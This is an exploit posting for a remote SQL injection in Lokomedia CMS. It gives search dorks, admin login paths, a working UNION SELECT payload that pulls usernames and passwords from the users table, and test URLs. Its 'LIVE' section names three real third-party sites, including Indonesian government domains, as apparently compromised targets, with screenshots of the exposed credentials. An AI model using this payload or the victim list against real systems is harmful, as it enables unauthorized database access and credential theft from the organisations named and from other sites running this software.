###########################
# Lokomedia CMS CMS Remote SQL Injection Exploit Vulnerability
###########################
=========================================================
[+] Title :- Lokomedia CMS CMS Remote SQL Injection Exploit Vulnerability
[+] Vendor Homepage :- http://www.bukulokomedia.com/
[+] Version :- All Versions
[+] Tested on :- Linux - Windows - Mac
[+] Category :- webapps
[+] Exploit Author :- K33P-S1L3NT
[+] Team name :- Ternate Lab Pentesting
[+] Official Page :- www.facebook.com/loading.gov/
[+] Available :- sql injection cheat sheet | sql injection Remote exploit
[+] Greedz to :- Indonesian People | Sarang-Paniki | Sarang-Bifi | Kamar-Muka | DZ hacker's | Algerian Hack
[+] Contact :- aurorakoizora@gmail.com
=========================================================
[+] Severity Level :- Medium
[+] Request Method(s) :- GET / POST
[+] Vulnerable Parameter(s) :- id,
statis-1-profil.html (string )
statis-3-strukturorganisasi.html (string )
statis-1-visimisi.html (string)
statis-1-tujuan.html (string)
[+] Dork : -
statis-1-profil.html (work100% )
statis-3-strukturorganisasi.html (work100% )
statis-1-visimisi.html (work100%)
statis-1-tujuan.html (work100%)
[+] Local Admin
/redaktur
/adminweb
/administrator
/redaktur/index.php
/adminlogin
/admin
/login.php
[+] Affected Area(s) :- Entire admin, database, Server
[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error
[+] SQL vulnerable File :- /home/user/public_html/XXX.php
[+] POC : http://127.0.0.1/statis-1( exploit-code )profil.html
- http://127.0.0.1/statis-3( exploit-code )strukturorganisasi.html
- http://127.0.0.1/statis-1( exploit-code )visimisi.html
- http://127.0.0.1/statis-1( exploit-code )tujuan.html
########################################################
[+] Exploit
/statis-1'union+select+make_set(6,@:=0x0a, (select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+
##########################################################
[+] Testing
http://127.0.0.1/statis-1'union+select+make_set(6,@:=0x0a, (select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+profil.html
[+] NOTE
username & password open on title-bar or CTRL+U for view username & password this website exploit
###########################################################
[+] LIVE
http://portal.ukit.ac.id ( Title-bar http://i.imgur.com/mYXPvpG.png ) ( CRTL+U http://i.imgur.com/2zKzC5o.png )
http://www.ptun-padang.go.id ( Title-bar http://i.imgur.com/3ZdoHaI.png ) ( CTRL+U http://i.imgur.com/eX1qKc5.png )
http://www.anambaskab.go.id ( Title-bar http://i.imgur.com/o4gQd0o.png ) ( CTRL+U http://i.imgur.com/WOriRul.png )
